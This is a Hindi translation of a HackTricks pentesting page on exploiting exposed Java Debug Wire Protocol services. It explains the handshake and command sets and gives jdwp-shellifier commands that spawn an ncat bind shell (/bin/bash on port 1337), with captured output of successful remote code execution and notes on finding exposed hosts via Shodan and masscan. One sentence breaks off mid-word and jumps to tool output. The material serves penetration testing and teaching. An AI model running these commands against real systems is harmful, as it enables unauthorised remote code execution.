Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00

Translator 117bcc31d3 Translated ['network-services-pentesting/pentesting-jdwp-java-debug-wire

2023-12-29 15:49:32 +00:00

28 KiB

Raw Blame History

JDWP पेंटेस्टिंग - जावा डीबग वायर प्रोटोकॉल

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

क्या आप साइबरसिक्योरिटी कंपनी में काम करते हैं? क्या आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे? या क्या आप PEASS के नवीनतम संस्करण तक पहुँचना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स देखें!
The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs का संग्रह
आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
💬 Discord समूह में शामिल हों या telegram समूह में शामिल हों या मुझे Twitter पर फॉलो करें 🐦@carlospolopm.**
अपनी हैकिंग ट्रिक्स साझा करें, hacktricks repo और hacktricks-cloud repo में PRs सबमिट करके.

एक्सप्लॉइटिंग

JDWP एक्सप्लॉइटेशन प्रोटोकॉल के प्रमाणीकरण और एन्क्रिप्शन की कमी पर निर्भर करता है। यह आमतौर पर पोर्ट 8000 पर पाया जाता है, लेकिन अन्य पोर्ट्स भी संभव हैं। प्रारंभिक कनेक्शन "JDWP-Handshake" भेजकर लक्ष्य पोर्ट से बनाया जाता है। यदि JDWP सेवा सक्रिय है, तो यह उसी स्ट्रिंग के साथ जवाब देती है, इसकी उपस्थिति की पुष्टि करती है। यह हैंडशेक नेटवर्क पर JDWP सेवाओं की पहचान करने के लिए एक फिंगरप्रिंटिंग विधि के रूप में काम करता है।

प्रक्रिया पहचान के संदर्भ में, जावा प्रक्रियाओं में "jdwk" स्ट्रिंग की खोज करने से एक सक्रिय JDWP सत्र का संकेत मिल सकता है।

पसंदीदा टूल jdwp-shellifier है। आप इसे विभिन्न पैरामीटर्स के साथ उपयोग कर सकते हैं:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

मैंने पाया कि --break-on 'java.lang.String.indexOf' का उपयोग करने से एक्सप्लॉइट अधिक स्थिर हो जाता है। और यदि आपके पास होस्ट पर एक बैकडोर अपलोड करने और उसे निष्पादित करने का अवसर है, बजाय किसी कमांड को निष्पादित करने के, तो एक्सप्लॉइट और भी अधिक स्थिर होगा।

अधिक जानकारी

कॉपी किया गया https://ioactive.com/hacking-java-debug-wire-protocol-or-how/

Java Debug Wire Protocol

Java Platform Debug Architecture (JPDA): JDWP जावा डिबगिंग सिस्टम का एक घटक है, जिसे Java Platform Debug Architecture (JPDA)[2] कहा जाता है। निम्नलिखित एक आर्किटेक्चर डायग्राम है:

Debuggee में हमारे लक्ष्य एप्लिकेशन को चलाने वाला एक मल्टी-थ्रेडेड JVM होता है। दूरस्थ रूप से डिबग करने योग्य होने के लिए, JVM इंस्टेंस को स्पष्ट रूप से -Xdebug विकल्प के साथ कमांड लाइन पर शुरू किया जाना चाहिए, साथ ही -Xrunjdwp (या -agentlib) विकल्प के साथ भी। उदाहरण के लिए, रिमोट डिबगिंग सक्षम के साथ एक Tomcat सर्वर को शुरू करना इस तरह दिखेगा:

जैसा कि आर्किटेक्चर डायग्राम में दिखाया गया है, Java Debug Wire Protocol Debugger और JVM इंस्टेंस के बीच केंद्रीय लिंक है। प्रोटोकॉल के बारे में निरीक्षण इस प्रकार हैं:

यह एक पैकेट-आधारित नेटवर्क बाइनरी प्रोटोकॉल है।
यह ज्यादातर समकालिक है। डिबगर JDWP पर एक कमांड भेजता है और एक उत्तर प्राप्त करने की उम्मीद करता है। हालांकि, कुछ कमांड्स, जैसे कि Events, समकालिक प्रतिक्रिया की उम्मीद नहीं करते। वे विशिष्ट शर्तों के पूरा होने पर उत्तर भेजेंगे। उदाहरण के लिए, एक BreakPoint एक Event है।
इसमें प्रमाणीकरण का उपयोग नहीं होता है।
इसमें एन्क्रिप्शन का उपयोग नहीं होता है।

ये सभी निरीक्षण इसलिए पूरी तरह से समझ में आते हैं क्योंकि हम एक डिबगिंग प्रोटोकॉल के बारे में बात कर रहे हैं। हालांकि, जब ऐसी सेवा एक शत्रुतापूर्ण नेटवर्क के लिए उजागर होती है, या इंटरनेट का सामना करती है, तो चीजें गलत हो सकती हैं।

Handshake: JDWP निर्देशित करता है[9] कि संचार को एक सरल हैंडशेक से शुरू किया जाना चाहिए। सफल TCP कनेक्शन पर, Debugger (क्लाइंट) 14-अक्षर ASCII स्ट्रिंग “JDWP-Handshake” भेजता है। Debuggee (सर्वर) इस संदेश का जवाब ठीक उसी स्ट्रिंग को भेजकर देता है। निम्नलिखित scapy[3] ट्रेस शुरुआती दो-तरफा हैंडशेक दिखाता है:

root:~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:~/tools/scapy-hg # ./run_scapy

Welcome to Scapy (2.2.0-dev)
>>> sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A

एक अनुभवी सुरक्षा ऑडिटर पहले ही समझ चुका होगा कि ऐसा सरल हैंडशेक इंटरनेट पर लाइव JDWP सेवाओं को आसानी से उजागर करने का एक तरीका प्रदान करता है। बस एक सरल प्रोब भेजें और विशिष्ट प्रतिक्रिया की जांच करें। अधिक रोचक बात यह है कि IBM Java Development Kit पर ShodanHQ[4] के साथ स्कैनिंग करते समय एक व्यवहार देखा गया जिसमें सर्वर पहले ही उसी बैनर के साथ "बात" करता है। नतीजतन, एक सक्रिय JDWP सेवा की खोज करने का एक पूरी तरह से निष्क्रिय तरीका है (इस लेख में बाद में इसे (इन)फेमस Shodan की मदद से कवर किया गया है)।

संचार: JDWP संचार में शामिल संदेशों को परिभाषित करता है[10]। संदेश एक सरल संरचना का पालन करते हैं, जैसा कि निम्नलिखित है:

Length और Id फील्ड्स काफी स्वयं स्पष्ट हैं। Flag फील्ड का उपयोग केवल अनुरोध पैकेटों को उत्तरों से अलग करने के लिए किया जाता है, 0x80 का मान एक उत्तर पैकेट को इंगित करता है। CommandSet फील्ड Command की श्रेणी को परिभाषित करता है जैसा कि निम्नलिखित तालिका में दिखाया गया है।
\

CommandSet	Command
0x40	JVM द्वारा की जाने वाली क्रिया (उदाहरण के लिए, एक BreakPoint सेट करना)
0x40–0x7F	डिबगर को इवेंट जानकारी प्रदान करना (उदाहरण के लिए, JVM ने एक BreakPoint हिट किया है और आगे की क्रियाओं की प्रतीक्षा कर रहा है)
0x80	तृतीय-पक्ष एक्सटेंशन

हमारे उद्देश्यों के लिए सबसे दिलचस्प कमांड्स निम्नलिखित हैं।

VirtualMachine/IDSizes JVM द्वारा संभाले जाने वाले डेटा संरचनाओं के आकार को परिभाषित करता है। यही कारण है कि nmap स्क्रिप्ट jdwp-exec.nse[11] काम नहीं करती है, क्योंकि स्क्रिप्ट हार्डकोडेड आकारों का उपयोग करती है।
ClassType/InvokeMethod आपको एक स्थिर फ़ंक्शन को आमंत्रित करने की अनुमति देता है।
ObjectReference/InvokeMethod आपको JVM में एक इंस्टेंटेड ऑब्जेक्ट से एक फ़ंक्शन को आमंत्रित करने की अनुमति देता है।
StackFrame/(Get|Set)Values थ्रेड्स स्टैक से पुशिंग/पॉपिंग क्षमताओं को प्रदान करता है।
Event/Composite JVM को इस कमांड द्वारा घोषित विशिष्ट व्यवहारों पर प्रतिक्रिया करने के लिए मजबूर करता है। यह कमांड डिबगिंग उद्देश्यों के लिए एक प्रमुख कुंजी है क्योंकि यह, कई अन्य चीजों के बीच, ब्रेकपॉइंट्स सेट करने, रनटाइम के दौ

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting ‘192.168.2.9:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System ‘Mac OS X’
[+] Found User name ‘pentestosx’
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
[+] Found User home directory ‘/Users/pentestosx’
[!] Command successfully executed

वही कमांड लाइन, लेकिन एक Windows सिस्टम के खिलाफ और एक पूरी तरह से अलग मेथड पर ब्रेकिंग:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on ‘java.lang.String.indexOf’
[+] Received matching event from thread 0x8f5
[+] Found Operating System ‘Windows 7’
[+] Found User name ‘hugsy’
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
[+] Found User home directory ‘C:Usershugsy’
[!] Command successfully executed

हम एक Linux सिस्टम के खिलाफ payload "ncat -e /bin/bash -l -p 1337" के साथ एक bind shell को स्पॉन करने के लिए हमारे exploit को निष्पादित करते हैं:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’
[+] Received matching event from thread 0x82a[+] Selected payload ‘ncat -l -p 1337 -e /bin/bash’
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp        0      0 0.0.0.0:1337         0.0.0.0:*               LISTEN      19242/ncat
tcp6       0      0 :::1337              :::*                    LISTEN      19242/ncat

अंतिम एक्सप्लॉइट उन तकनीकों का उपयोग करता है, कुछ जांचें जोड़ता है, और संभवतः कम से कम व्यवधान के लिए सस्पेंड/रिज्यूम सिग्नल भेजता है (आप जिस एप्लिकेशन पर काम कर रहे हैं, उसे तोड़ना नहीं चाहिए, है ना?). यह दो मोड में काम करता है:

"डिफ़ॉल्ट" मोड पूरी तरह से गैर-हस्तक्षेपकारी है और केवल जावा कोड को निष्पादित करता है ताकि स्थानीय सिस्टम जानकारी प्राप्त की जा सके (ग्राहक को PoC के लिए उत्तम).
"cmd" विकल्प पास करने से रिमोट होस्ट पर एक सिस्टम कमांड निष्पादित होती है और इसलिए अधिक हस्तक्षेपकारी है। कमांड JVM के चल रहे विशेषाधिकारों के साथ की जाती है।

यह एक्सप्लॉइट स्क्रिप्ट के खिलाफ सफलतापूर्वक परीक्षण किया गया था:

Oracle Java JDK 1.6 और 1.7
OpenJDK 1.6
IBM JDK 1.6

जावा डिजाइन द्वारा प्लेटफॉर्म-स्वतंत्र है, इसलिए कमांड किसी भी ऑपरेटिंग सिस्टम पर निष्पादित किए जा सकते हैं जो जावा समर्थित करता है। अच्छी खबर है हमारे लिए pentesters: खुला JDWP सेवा का मतलब है विश्वसनीय RCE। अब तक, सब अच्छा है।

वास्तविक जीवन में शोषण के बारे में क्या?

वास्तव में, JDWP जावा एप्लिकेशन दुनिया में काफी इस्तेमाल किया जाता है। हालांकि, pentesters को यह अक्सर नहीं दिखाई दे सकता है जब वे रिमोट मूल्यांकन कर रहे होते हैं क्योंकि फ़ायरवॉल ज्यादातर उस पोर्ट को ब्लॉक कर देंगे जिस पर यह चल रहा है। लेकिन इसका यह मतलब नहीं है कि JDWP को जंगली में नहीं पाया जा सकता है:

इस लेख को लिखते समय, ShodanHQ[4] पर एक त्वरित खोज तुरंत लगभग 40 सर्वरों को प्रकट करती है जो JDWP हैंडशेक भेज रहे हैं:

यह वास्तव में एक दिलचस्प खोज है क्योंकि, जैसा कि हमने पहले देखा है, यह माना जाता है कि क्लाइंट-साइड (डिबगर) संवाद की शुरुआत करता है।

GitHub[7] भी कई संभावित रूप से संवेदनशील ओपन-सोर्स एप्लिकेशनों को प्रकट करता है:

इंटरनेट को masscan करना विशिष्ट पोर्ट्स (tcp/8000, tcp/8080, tcp/8787, tcp/5005) के लिए खोज करता है और कई होस्ट्स को प्रतिक्रिया देता है (जिन्हें यहां रिपोर्ट नहीं किया जा सकता) प्रारंभिक हैंडशेक के लिए।
"एंटरप्राइज़" एप्लिकेशन जंगली में पाए गए जो *डिफ़ॉल्ट रूप से* एक JDWP सेवा चला रहे थे (वास्तविक पोर्ट नंबर का पता लगाना जिज्ञासु पाठक के लिए एक अभ्यास के रूप में छोड़ दिया गया है)।

ये इंटरनेट पर खुले JDWP सेवाओं की खोज करने के कुछ तरीके हैं। यह एक महान अनुस्मारक है कि एप्लिकेशनों को नियमित रूप से गहन सुरक्षा समीक्षाओं से गुजरना चाहिए, उत्पादन वातावरणों में किसी भी डिबगिंग कार्यक्षमता को बंद कर देना चाहिए, और फ़ायरवॉल को सामान्य संचालन के लिए आवश्यक सेवाओं तक पहुंच को प्रतिबंधित करने के लिए कॉन्फ़िगर किया जाना चाहिए। किसी को भी JDWP सेवा से जुड़ने की अनुमति देना ठीक उसी तरह है जैसे gdbserver सेवा से कनेक्शन की अनुमति देना (जो एक अधिक स्थिर तरीके से हो सकता है)। मुझे आशा है कि आपको यह लेख पढ़ने में उतना ही आनंद आया जितना मुझे JDWP के साथ खेलने में आया। आप सभी शक्तिशाली समुद्री डाकुओं को, हैप्पी JDWP pwning !!

धन्यवाद

मैं Ilja Van Sprundel और Sebastien Macke को उनके विचारों और परीक्षणों के लिए धन्यवाद देना चाहूंगा।

संदर्भ: